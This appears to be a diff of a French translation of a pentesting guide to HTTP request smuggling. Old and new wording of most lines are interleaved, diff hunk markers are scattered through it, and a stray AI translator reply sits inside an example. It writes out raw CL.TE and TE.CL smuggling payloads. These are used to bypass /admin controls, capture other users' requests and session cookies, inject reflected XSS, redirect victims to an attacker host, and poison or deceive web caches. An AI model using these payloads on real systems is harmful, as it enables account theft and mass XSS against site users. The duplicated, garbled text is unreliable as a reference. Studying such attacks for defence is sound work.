- **Timing et conditions de course :** La requête "normale", destinée à détecter l'interférence de la requête "attaque", est en compétition avec d'autres requêtes concurrentes de l'application. Envoyez donc la requête "normale" immédiatement après la requête "attaque". Les applications très chargées peuvent nécessiter plusieurs essais pour obtenir une confirmation concluante.
- **Problèmes de load balancing :** Les front-ends faisant office de load balancer peuvent répartir les requêtes sur différents back-ends. Si la requête "attaque" et la requête "normale" sont envoyées sur des systèmes différents, l'attaque échouera. Cet aspect de load balancing peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
- **Impact involontaire sur des utilisateurs :** Si votre attaque affecte involontairement la requête d'un autre utilisateur (et non la requête "normale" que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l'application. Des tests répétés pourraient perturber d'autres utilisateurs, ce qui impose d'adopter une approche prudente.
## Distinguer les artefacts de pipelining HTTP/1.1 des véritables request smuggling
La réutilisation de connexion (keep-alive) et le pipelining peuvent facilement produire des illusions de "smuggling" dans les outils de test qui envoient plusieurs requêtes sur le même socket. Apprenez à séparer les artefacts inoffensifs côté client des véritables désynchronisations côté serveur.
La réutilisation de la connexion (keep-alive) et le pipelining peuvent facilement produire des illusions de "smuggling" dans les outils de test qui envoient plusieurs requêtes sur la même socket. Apprenez à séparer les artefacts inoffensifs côté client des véritables desynchronisations côté serveur.
### Pourquoi le pipelining crée des faux positifs classiques
HTTP/1.1 réutilise une seule connexion TCP/TLS et concatène les requêtes et les réponses sur le même flux. Dans le pipelining, le client envoie plusieurs requêtes consécutivement et s'appuie sur des réponses en ordre. Un faux positif courant est de renvoyer une charge utile malformée de style CL.0 deux fois sur une seule connexion :
HTTP/1.1 réutilise une seule connexion TCP/TLS et concatène requêtes et réponses sur le même flux. En pipelining, le client envoie plusieurs requêtes à la suite et attend des réponses dans l'ordre. Un faux positif courant consiste à renvoyer deux fois un payload malformé de type CL.0 sur une seule connexion :
```
POST / HTTP/1.1
Host: hackxor.net
@ -292,7 +294,7 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Les réponses peuvent ressembler à :
Je nai reçu aucun contenu à traduire. Veuillez coller le contenu du fichier src/pentesting-web/http-request-smuggling/README.md que vous voulez que je traduise en français.
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -306,7 +308,7 @@ Content-Type: text/plain
User-agent: *
Disallow: /settings
```
Si le serveur a ignoré le `Content_Length` malformé, il n'y a pas de désynchronisation FE↔BE. Avec la réutilisation, votre client a en fait envoyé ce flux d'octets, que le serveur a analysé comme deux requêtes indépendantes :
Si le serveur a ignoré le `Content_Length` malformé, il n'y a pas de désynchronisation FE↔BE. En cas de réutilisation, votre client a réellement envoyé ce flux d'octets, que le serveur a analysé comme deux requêtes indépendantes :
```
POST / HTTP/1.1
Host: hackxor.net
@ -320,78 +322,78 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Impact : aucun. Vous venez de désynchroniser votre client du cadre du serveur.
Impact : aucun. Vous venez juste de désynchroniser votre client par rapport au cadrage du serveur.
> [!TIP]
> Modules Burp qui dépendent de la réutilisation/pipelining : Turbo Intruder avec `requestsPerConnection>1`, Intruder avec "réutilisation de connexion HTTP/1", Repeater "Envoyer le groupe en séquence (connexion unique)" ou "Activer la réutilisation de connexion".
> Les modules Burp qui dépendent de la réutilisation/pipelining : Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
### Tests de litmus : pipelining ou vraie désynchronisation ?
### Litmus tests: pipelining or real desync?
1. Désactiver la réutilisation et retester
- Dans Burp Intruder/Repeater, désactivez la réutilisation HTTP/1 et évitez "Envoyer le groupe en séquence".
1. Désactivez la réutilisation et retestez
- Dans Burp Intruder/Repeater, désactivez HTTP/1 reuse et évitez "Send group in sequence".
- Dans Turbo Intruder, définissez `requestsPerConnection=1` et `pipeline=False`.
- Si le comportement disparaît, il s'agissait probablement de pipelining côté client, à moins que vous ne traitiez des cibles verrouillées par connexion/état ou une désynchronisation côté client.
2. Vérification de réponse imbriquée HTTP/2
- Envoyez une requête HTTP/2. Si le corps de la réponse contient une réponse HTTP/1 imbriquée complète, vous avez prouvé un bug de parsing/désynchronisation côté backend au lieu d'un simple artefact client.
3. Sonde de requêtes partielles pour les front-ends verrouillés par connexion
- Certains FE ne réutilisent la connexion BE en amont que si le client a réutilisé la sienne. Utilisez des requêtes partielles pour détecter le comportement du FE qui reflète la réutilisation du client.
- Voir PortSwigger "Attaques de désynchronisation alimentées par le navigateur" pour la technique verrouillée par connexion.
4. Sondes d'état
- Recherchez les différences entre la première requête et les requêtes suivantes sur la même connexion TCP (routage/validation de la première requête).
- Burp "HTTP Request Smuggler" inclut une sonde d'état de connexion qui automatise cela.
5. Visualiser le fil
- Utilisez l'extension Burp "HTTP Hacker" pour inspecter la concaténation et le cadrage des messages directement tout en expérimentant avec la réutilisation et les requêtes partielles.
- Si le comportement disparaît, il s'agissait probablement de pipelining côté client, à moins que vous ne soyez face à des cibles connection-locked/stateful ou à une désynchronisation côté client.
2. Vérification HTTP/2 de réponse imbriquée
- Envoyez une requête HTTP/2. Si le corps de la réponse contient une réponse HTTP/1 complète imbriquée, vous avez prouvé un bug de parsing/désynchronisation côté backend plutôt qu'un simple artefact côté client.
3. Sonde partial-requests pour front-ends connection-locked
- Certains FEs ne réutilisent la connexion BE en amont que si le client a réutilisé la sienne. Utilisez partial-requests pour détecter un comportement du FE qui reflète la réutilisation client.
- Voir PortSwigger "BrowserPowered Desync Attacks" pour la technique connection-locked.
4. Probes d'état
- Cherchez les différences entre la première requête et les requêtes suivantes sur la même connexion TCP (first-request routing/validation).
- Burp "HTTP Request Smuggler" inclut une sonde connectionstate qui automatise cela.
5. Visualisez le wire
- Utilisez l'extension Burp "HTTP Hacker" pour inspecter la concaténation et le cadrage des messages directement pendant que vous expérimentez la réutilisation et les partial requests.
### Désynchronisation de requête verrouillée par connexion (réutilisation requise)
### Connectionlocked request smuggling (reuse-required)
Certains front-ends ne réutilisent la connexion en amont que lorsque le client réutilise la sienne. La véritable désynchronisation existe mais est conditionnelle à la réutilisation côté client. Pour distinguer et prouver l'impact :
Certains front-ends ne réutilisent la connexion en amont que lorsque le client réutilise la sienne. Le real smuggling existe mais est conditionnel à la réutilisation côté client. Pour distinguer et prouver l'impact :
- Prouvez le bug côté serveur
- Utilisez la vérification de réponse imbriquée HTTP/2, ou
- Utilisez des requêtes partielles pour montrer que le FE ne réutilise en amont que lorsque le client le fait.
- Montrez un impact réel même si l'abus direct de socket entre utilisateurs est bloqué :
- Poisoning de cache : empoisonnez les caches partagés via la désynchronisation afin que les réponses affectent d'autres utilisateurs.
- Divulgation d'en-têtes internes : reflétez les en-têtes injectés par le FE (par exemple, en-têtes d'authentification/de confiance) et pivotez vers un contournement d'authentification.
- Contournement des contrôles FE : faites passer des chemins/méthodes restreints au-delà du front-end.
- Abus d'en-tête d'hôte : combinez avec des bizarreries de routage d'hôte pour pivoter vers des vhosts internes.
- Flux de travail de l'opérateur
- Reproduisez avec une réutilisation contrôlée (Turbo Intruder `requestsPerConnection=2`, ou groupe d'onglets Burp Repeater → "Envoyer le groupe en séquence (connexion unique)").
- Ensuite, enchaînez avec des primitives de fuite de cache/en-tête/contournement de contrôle et démontrez l'impact entre utilisateurs ou d'autorisation.
- Utilisez la vérification HTTP/2 de réponse imbriquée, ou
- Utilisez partial-requests pour montrer que le FE ne réutilise la connexion en amont que lorsque le client le fait.
- Montrez un impact réel même si l'abus direct de sockets cross-user est bloqué :
- Cache poisoning : poisonnez les caches partagés via la desync pour que les réponses affectent d'autres utilisateurs.
- Internal header disclosure : reflétez des en-têtes injectés par le FE (p. ex. auth/trust headers) et pivotez vers un contournement d'auth.
- Bypass FE controls : smuggle restricted paths/methods past the front-end.
- Host-header abuse : combinez avec des particularités de routage host pour pivoter vers des vhosts internes.
- Operator workflow
- Reproduisez avec réutilisation contrôlée (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
- Ensuite, enchaînez vers des primitives de cache/header-leak/control-bypass et démontrez un impact cross-user ou d'autorisation.
> Voir aussi les attaques d'état de connexion, qui sont étroitement liées mais ne sont pas techniquement de la désynchronisation :
> See also connectionstate attacks, which are closely related but not technically smuggling:
>
>{{#ref}}
>../http-connection-request-smuggling.md
>{{#endref}}
### Contraintes de désynchronisation côté client
### Clientside desync constraints
Si vous ciblez une désynchronisation alimentée par le navigateur/côté client, la requête malveillante doit être envoyable par un navigateur cross-origin. Les astuces d'obfuscation d'en-têtes ne fonctionneront pas. Concentrez-vous sur les primitives accessibles via navigation/fetch, puis pivotez vers l'empoisonnement de cache, la divulgation d'en-têtes ou le contournement de contrôle du front-end où les composants en aval reflètent ou mettent en cache les réponses.
Si vous ciblez browser-powered/client-side desync, la requête malveillante doit pouvoir être envoyée par un navigateur cross-origin. Les tricks d'obfuscation d'en-têtes ne fonctionneront pas. Concentrez-vous sur des primitives atteignables via navigation/fetch, puis pivotez vers cache poisoning, header disclosure, ou front-end control bypass lorsque des composants en aval reflètent ou mettent en cache des réponses.
Pour des informations de base et des flux de travail de bout en bout :
Pour le contexte et les workflows de bout en bout :
{{#ref}}
browser-http-request-smuggling.md
{{#endref}}
### Outils pour aider à décider
### Tooling to help decide
- HTTP Hacker (Burp BApp Store) : expose le comportement HTTP de bas niveau et la concaténation de sockets.
- "Désynchronisation ou pipelining ?" Action personnalisée Burp Repeater : https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder : contrôle précis de la réutilisation de connexion via `requestsPerConnection`.
- Burp HTTP Request Smuggler : inclut une sonde d'état de connexion pour repérer le routage/validation de la première requête.
- HTTP Hacker (Burp BApp Store) : expose le comportement HTTP basniveau et la concaténation de sockets.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder : contrôle précis de la réutilisation des connexions via `requestsPerConnection`.
- Burp HTTP Request Smuggler : inclut une sonde connectionstate pour repérer le firstrequest routing/validation.
> [!NOTE]
> Traitez les effets de réutilisation uniquement comme des non-problèmes à moins que vous ne puissiez prouver une désynchronisation côté serveur et attacher un impact concret (artefact de cache empoisonné, en-tête interne divulgué permettant un contournement de privilège, contrôle FE contourné, etc.).
> Considérez les effets liés uniquement à la réutilisation comme non significatifs à moins que vous puissiez prouver un desync côté serveur et fournir un impact concret (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
## Abus de HTTP Request Smuggling
### Contournement de la sécurité du front-end via HTTP Request Smuggling
### Contourner la sécurité front-end via HTTP Request Smuggling
Parfois, les proxys de front-end appliquent des mesures de sécurité, scrutant les requêtes entrantes. Cependant, ces mesures peuvent être contournées en exploitant le HTTP Request Smuggling, permettant un accès non autorisé à des points de terminaison restreints. Par exemple, l'accès à `/admin` peut être interdit de l'extérieur, le proxy de front-end bloquant activement de telles tentatives. Néanmoins, ce proxy peut négliger d'inspecter les requêtes intégrées dans une requête HTTP smuggled, laissant une faille pour contourner ces restrictions.
Parfois, les proxies front-end appliquent des mesures de sécurité et scrutent les requêtes entrantes. Cependant, ces mesures peuvent être contournées en exploitant HTTP Request Smuggling, permettant un accès non autorisé à des endpoints restreints. Par exemple, l'accès à `/admin` peut être interdit depuis l'extérieur, le proxy front-end bloquant activement ces tentatives. Néanmoins, ce proxy peut omettre d'inspecter des requêtes imbriquées à l'intérieur d'une requête HTTP smuggled, laissant une brèche pour contourner ces restrictions.
Considérez les exemples suivants illustrant comment le HTTP Request Smuggling peut être utilisé pour contourner les contrôles de sécurité du front-end, ciblant spécifiquement le chemin `/admin` qui est généralement protégé par le proxy de front-end :
Considérez les exemples suivants illustrant comment HTTP Request Smuggling peut être utilisé pour contourner les contrôles de sécurité front-end, ciblant spécifiquement le chemin `/admin` qui est typiquement protégé par le proxy front-end :
**CL.TE Exemple**
**CL.TE Example**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -408,7 +410,7 @@ Content-Length: 10
x=
```
Dans l'attaque CL.TE, l'en-tête `Content-Length` est utilisé pour la requête initiale, tandis que la requête intégrée suivante utilise l'en-tête `Transfer-Encoding: chunked`. Le proxy frontal traite la requête `POST` initiale mais ne parvient pas à inspecter la requête intégrée `GET /admin`, permettant un accès non autorisé au chemin `/admin`.
Dans l'attaque CL.TE, l'en-tête `Content-Length` est exploité pour la requête initiale, tandis que la requête embarquée suivante utilise l'en-tête `Transfer-Encoding: chunked`. Le proxy front-end traite la requête `POST` initiale mais n'inspecte pas la requête embarquée `GET /admin`, ce qui permet un accès non autorisé au chemin `/admin`.
**TE.CL Exemple**
```
@ -426,13 +428,13 @@ a=x
0
```
Inversement, dans l'attaque TE.CL, la requête `POST` initiale utilise `Transfer-Encoding: chunked`, et la requête intégrée suivante est traitée en fonction de l'en-tête `Content-Length`. Comme dans l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant par inadvertance l'accès au chemin restreint `/admin`.
Inversement, dans l'attaque TE.CL, la requête initiale `POST` utilise `Transfer-Encoding: chunked`, et la requête embarquée suivante est traitée en se basant sur l'en-tête `Content-Length`. Comme pour l'attaque CL.TE, le proxy frontal ignore la requête dissimulée `GET /admin`, accordant involontairement l'accès au chemin restreint `/admin`.
### Révélation de la réécriture des requêtes front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
### Révéler la réécriture des requêtes côté front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Les applications utilisent souvent un **serveur frontal** pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste à ajouter des en-têtes, tels que `X-Forwarded-For: <IP du client>`, pour relayer l'IP du client au back-end. Comprendre ces modifications peut être crucial, car cela pourrait révéler des moyens de **contourner les protections** ou **découvrir des informations ou des points de terminaison cachés**.
Les applications emploient souvent un **serveur frontal** pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste à ajouter des en-têtes, tels que `X-Forwarded-For: <IP of the client>`, pour relayer l'adresse IP du client vers le back-end. Comprendre ces modifications peut être crucial, car elles peuvent révéler des moyens de **contourner les protections** ou de **mettre au jour des informations ou des endpoints dissimulés**.
Pour enquêter sur la façon dont un proxy modifie une requête, localisez un paramètre POST que le back-end renvoie dans la réponse. Ensuite, élaborez une requête, en utilisant ce paramètre en dernier, similaire à ce qui suit :
Pour analyser comment un proxy modifie une requête, localisez un paramètre POST que le back-end renvoie dans la réponse. Ensuite, construisez une requête en plaçant ce paramètre en dernier, similaire à la suivante :
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -449,17 +451,17 @@ Content-Length: 100
search=
```
Dans cette structure, les composants de requête suivants sont ajoutés après `search=`, qui est le paramètre reflété dans la réponse. Ce reflet exposera les en-têtes de la requête suivante.
Dans cette structure, les composants de requête suivants sont ajoutés après `search=`, qui est le paramètre renvoyé dans la réponse. Cette réflexion exposera les headers de la requête suivante.
Il est important d'aligner l'en-tête `Content-Length` de la requête imbriquée avec la longueur réelle du contenu. Il est conseillé de commencer avec une petite valeur et d'augmenter progressivement, car une valeur trop basse tronquera les données reflétées, tandis qu'une valeur trop élevée peut provoquer une erreur dans la requête.
Il est important d'aligner l'en-tête `Content-Length` de la requête imbriquée sur la longueur réelle du contenu. Il est conseillé de commencer par une petite valeur et d'augmenter progressivement : une valeur trop faible tronquera les données reflétées, tandis qu'une valeur trop élevée peut provoquer une erreur de requête.
Cette technique est également applicable dans le contexte d'une vulnérabilité TE.CL, mais la requête doit se terminer par `search=\r\n0`. Indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.
Cette technique est également applicable dans le contexte d'une vulnérabilité TE.CL, mais la requête doit se terminer par `search=\r\n0`. Quelle que soit la combinaison de caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre search.
Cette méthode sert principalement à comprendre les modifications de requête effectuées par le proxy frontal, réalisant essentiellement une enquête auto-dirigée.
Cette méthode sert principalement à comprendre les modifications de requête effectuées par le proxy front-end, effectuant essentiellement une enquête auto-dirigée.
### Capturer les requêtes d'autres utilisateurs <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
### Capturer les requêtes des autres utilisateurs <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
Il est possible de capturer les requêtes du prochain utilisateur en ajoutant une requête spécifique comme valeur d'un paramètre lors d'une opération POST. Voici comment cela peut être accompli :
Il est possible de capturer les requêtes de l'utilisateur suivant en ajoutant une requête spécifique comme valeur d'un paramètre lors d'un POST. Voici comment procéder :
En ajoutant la requête suivante comme valeur d'un paramètre, vous pouvez stocker la requête du client suivant :
```
@ -481,20 +483,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
Dans ce scénario, le **paramètre de commentaire** est destiné à stocker le contenu dans la section des commentaires d'un post sur une page accessible au public. Par conséquent, le contenu de la requête suivante apparaîtra comme un commentaire.
In this scenario, the **comment parameter** is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.
Cependant, cette technique a des limitations. En général, elle capture les données uniquement jusqu'au délimiteur de paramètre utilisé dans la requête smuggled. Pour les soumissions de formulaires encodées en URL, ce délimiteur est le caractère `&`. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier `&`, qui peut même faire partie de la chaîne de requête.
Cependant, cette technique a des limites. En général, elle capture les données uniquement jusqu'au délimiteur de paramètre utilisé dans la requête smuggled. Pour les soumissions de formulaire encodées en URL, ce délimiteur est le caractère `&`. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier `&`, qui peut même faire partie de la query string.
De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans de tels cas, la requête doit se terminer par `search=\r\n0`. Indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.
De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans ce cas, la requête doit se terminer par `search=\r\n0`. Quel que soit le(s) caractère(s) de nouvelle ligne, les valeurs seront ajoutées au paramètre search.
### Utiliser le HTTP request smuggling pour exploiter le XSS réfléchi
### Utiliser HTTP request smuggling pour exploiter Reflected XSS
Le HTTP Request Smuggling peut être utilisé pour exploiter des pages web vulnérables au **XSS réfléchi**, offrant des avantages significatifs :
HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, offering significant advantages:
- L'interaction avec les utilisateurs cibles **n'est pas requise**.
- Permet l'exploitation du XSS dans des parties de la requête qui sont **normalement inaccessibles**, comme les en-têtes de requête HTTP.
- L'interaction avec les utilisateurs ciblés n'est **pas requise**.
- Permet l'exploitation de XSS dans des parties de la requête qui sont **normalement inaccessibles**, comme les en-têtes HTTP.
Dans les scénarios où un site web est susceptible au XSS réfléchi via l'en-tête User-Agent, la charge utile suivante démontre comment exploiter cette vulnérabilité :
Dans les cas où un site est vulnérable à Reflected XSS via l'en-tête User-Agent, le payload suivant démontre comment exploiter cette vulnérabilité:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -515,36 +517,36 @@ Content-Type: application/x-www-form-urlencoded
A=
```
Ce payload est structuré pour exploiter la vulnérabilité en :
Ce payload est structuré pour exploiter la vulnérabilité de la manière suivante :
1. Initiant une requête `POST`, apparemment typique, avec un en-tête `Transfer-Encoding: chunked` pour indiquer le début du smuggling.
2. Suivant avec un `0`, marquant la fin du corps du message chunked.
3. Ensuite, une requête `GET` smuggled est introduite, où l'en-tête `User-Agent` est injecté avec un script, `<script>alert(1)</script>`, déclenchant le XSS lorsque le serveur traite cette requête subséquente.
1. Initier une requête `POST`, apparemment classique, avec un en-tête `Transfer-Encoding: chunked` pour indiquer le début du smuggling.
2. Suivi d'un `0`, marquant la fin du corps du message chunked.
3. Puis, une requête `GET` smuggled est introduite, où l'en-tête `User-Agent` est injecté avec un script, `<script>alert(1)</script>`, déclenchant le XSS lorsque le serveur traite cette requête ultérieure.
En manipulant le `User-Agent` par le smuggling, le payload contourne les contraintes normales de requête, exploitant ainsi la vulnérabilité XSS réfléchie de manière non standard mais efficace.
En manipulant le `User-Agent` via le smuggling, le payload contourne les contraintes normales des requêtes, exploitant ainsi la vulnérabilité Reflected XSS d'une manière non standard mais efficace.
#### HTTP/0.9
> [!CAUTION]
> Dans le cas où le contenu utilisateur est réfléchi dans une réponse avec un **`Content-type`** tel que **`text/plain`**, empêchant l'exécution du XSS. Si le serveur supporte **HTTP/0.9, il pourrait être possible de contourner cela** !
> Dans le cas où le contenu utilisateur est reflété dans une réponse avec un **`Content-type`** tel que **`text/plain`**, empêchant l'exécution du XSS. Si le serveur supporte **HTTP/0.9 il pourrait être possible de contourner cela**!
La version HTTP/0.9 était antérieure à la 1.0 et utilise uniquement des verbes **GET** et **ne répond pas** avec des **en-têtes**, juste le corps.
La version HTTP/0.9 précédait HTTP/1.0 et n'utilisait que les verbes **GET** et ne répondait pas avec des **headers**, juste le body.
Dans [**ce writeup**](https://mizu.re/post/twisty-python), cela a été abusé avec un smuggling de requête et un **point de terminaison vulnérable qui répondra avec l'entrée de l'utilisateur** pour smuggler une requête avec HTTP/0.9. Le paramètre qui sera réfléchi dans la réponse contenait une **réponse HTTP/1.1 factice (avec en-têtes et corps)**, de sorte que la réponse contiendra un code JS exécutable valide avec un `Content-Type` de `text/html`.
Dans [**this writeup**](https://mizu.re/post/twisty-python), cela a été abusé avec un request smuggling et un **endpoint vulnérable qui répondra avec l'entrée de l'utilisateur** pour smuggler une requête en HTTP/0.9. Le paramètre qui était reflété dans la réponse contenait une **fausse réponse HTTP/1.1 (avec headers et body)**, si bien que la réponse contenait du code JS exécutable valide avec un `Content-Type` de `text/html`.
### Exploiter les redirections sur site avec le HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Les applications redirigent souvent d'une URL à une autre en utilisant le nom d'hôte de l'en-tête `Host` dans l'URL de redirection. Cela est courant avec des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans barre oblique à la fin entraîne une redirection pour inclure la barre oblique :
Les applications redirigent souvent d'une URL à une autre en utilisant le nom d'hôte du header `Host` dans l'URL de redirection. Ceci est courant sur des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans slash final entraîne une redirection pour inclure le slash :
```
GET /home HTTP/1.1
Host: normal-website.com
```
Résultats dans :
Résulte en :
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Bien que cela puisse sembler inoffensif, ce comportement peut être manipulé en utilisant le HTTP request smuggling pour rediriger les utilisateurs vers un site externe. Par exemple :
Bien que cela semble inoffensif, ce comportement peut être manipulé en utilisant HTTP request smuggling pour rediriger les utilisateurs vers un site externe. Par exemple :
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -558,29 +560,29 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Cette requête dissimulée pourrait entraîner la redirection de la prochaine requête utilisateur traitée vers un site web contrôlé par un attaquant :
Cette requête dissimulée pourrait provoquer que la prochaine requête utilisateur traitée soit redirigée vers un site contrôlé par un attaquant :
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
Résultats dans :
Résultats :
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
Dans ce scénario, la demande d'un utilisateur pour un fichier JavaScript est détournée. L'attaquant peut potentiellement compromettre l'utilisateur en servant un JavaScript malveillant en réponse.
Dans ce scénario, la requête d'un utilisateur pour un fichier JavaScript est détournée. L'attaquant peut potentiellement compromettre l'utilisateur en renvoyant du JavaScript malveillant en réponse.
### Exploitation du Poisoning de Cache Web via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Exploiter Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Le poisoning de cache web peut être exécuté si un composant de l'**infrastructure front-end met en cache du contenu**, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **poisonner le cache**.
Le Web cache poisoning peut être exécuté si un composant de l'**infrastructure front-end met en cache du contenu**, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **poison the cache**.
Auparavant, nous avons observé comment les réponses du serveur pouvaient être modifiées pour renvoyer une erreur 404 (voir [Exemples de Base](#basic-examples)). De même, il est possible de tromper le serveur pour qu'il délivre le contenu de `/index.html` en réponse à une demande pour `/static/include.js`. Par conséquent, le contenu de `/static/include.js` est remplacé dans le cache par celui de `/index.html`, rendant `/static/include.js` inaccessible aux utilisateurs, ce qui peut entraîner une Déni de Service (DoS).
Précédemment, nous avons vu comment les réponses du serveur pouvaient être altérées pour renvoyer une erreur 404 (voir [Basic Examples](#basic-examples)). De la même façon, il est possible de tromper le serveur pour qu'il renvoie le contenu de `/index.html` en réponse à une requête pour `/static/include.js`. Par conséquent, le contenu de `/static/include.js` est remplacé dans le cache par celui de `/index.html`, rendant `/static/include.js` inaccessible aux utilisateurs, ce qui peut entraîner un Denial of Service (DoS).
Cette technique devient particulièrement puissante si une **vulnérabilité de Redirection Ouverte** est découverte ou s'il y a une **redirection sur site vers une redirection ouverte**. De telles vulnérabilités peuvent être exploitées pour remplacer le contenu mis en cache de `/static/include.js` par un script sous le contrôle de l'attaquant, permettant essentiellement une attaque Cross-Site Scripting (XSS) généralisée contre tous les clients demandant le `/static/include.js` mis à jour.
Cette technique devient particulièrement puissante si une **Open Redirect vulnerability** est découverte ou s'il existe une **on-site redirect to an open redirect**. De telles vulnérabilités peuvent être exploitées pour remplacer le contenu mis en cache de `/static/include.js` par un script contrôlé par l'attaquant, permettant essentiellement une attaque Cross-Site Scripting (XSS) à grande échelle contre tous les clients demandant le `/static/include.js` mis à jour.
Voici une illustration de l'exploitation du **poisoning de cache combiné avec une redirection sur site vers une redirection ouverte**. L'objectif est de modifier le contenu du cache de `/static/include.js` pour servir du code JavaScript contrôlé par l'attaquant :
Ci-dessous une illustration de l'exploitation de **cache poisoning combined with an on-site redirect to open redirect**. L'objectif est de modifier le contenu en cache de `/static/include.js` pour servir du code JavaScript contrôlé par l'attaquant :
```
POST / HTTP/1.1
Host: vulnerable.net
@ -598,20 +600,20 @@ Content-Length: 10
x=1
```
Notez la requête intégrée ciblant `/post/next?postId=3`. Cette requête sera redirigée vers `/post?postId=4`, utilisant la **valeur de l'en-tête Host** pour déterminer le domaine. En modifiant l'**en-tête Host**, l'attaquant peut rediriger la requête vers son domaine (**redirection sur site vers redirection ouverte**).
Remarquez la requête intégrée ciblant `/post/next?postId=3`. Cette requête sera redirigée vers `/post?postId=4`, en utilisant la **Host header value** pour déterminer le domaine. En modifiant le **Host header**, l'attaquant peut rediriger la requête vers son domaine (**on-site redirect to open redirect**).
Après un **empoisonnement de socket** réussi, une **requête GET** pour `/static/include.js` doit être initiée. Cette requête sera contaminée par la précédente requête **redirection sur site vers redirection ouverte** et récupérera le contenu du script contrôlé par l'attaquant.
Après un **socket poisoning** réussi, une **GET request** pour `/static/include.js` doit être initiée. Cette requête sera contaminée par la précédente requête **on-site redirect to open redirect** et récupérera le contenu du script contrôlé par l'attaquant.
Par la suite, toute requête pour `/static/include.js` servira le contenu mis en cache du script de l'attaquant, lançant ainsi une large attaque XSS.
Par la suite, toute requête pour `/static/include.js` servira le contenu mis en cache du script de l'attaquant, lançant ainsi une attaque XSS à grande échelle.
### Utilisation de l'HTTP request smuggling pour effectuer une tromperie de cache web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web ?**
> **Quelle est la différence entre web cache poisoning et web cache deception ?**
>
> - Dans l'**empoisonnement de cache web**, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi depuis le cache à d'autres utilisateurs de l'application.
> - Dans la **tromperie de cache web**, l'attaquant amène l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, et l'attaquant récupère ensuite ce contenu depuis le cache.
> - Dans **web cache poisoning**, l'attaquant fait en sorte que l'application stocke du contenu malveillant dans le cache, et ce contenu est servi depuis le cache aux autres utilisateurs de l'application.
> - Dans **web cache deception**, l'attaquant fait en sorte que l'application stocke du contenu sensible appartenant à un autre utilisateur dans le cache, puis l'attaquant récupère ce contenu depuis le cache.
L'attaquant crée une requête dissimulée qui récupère un contenu sensible spécifique à l'utilisateur. Considérez l'exemple suivant :
L'attaquant forge une smuggled request qui récupère du contenu sensible spécifique à un utilisateur. Considérez l'exemple suivant:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -622,17 +624,17 @@ L'attaquant crée une requête dissimulée qui récupère un contenu sensible sp
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
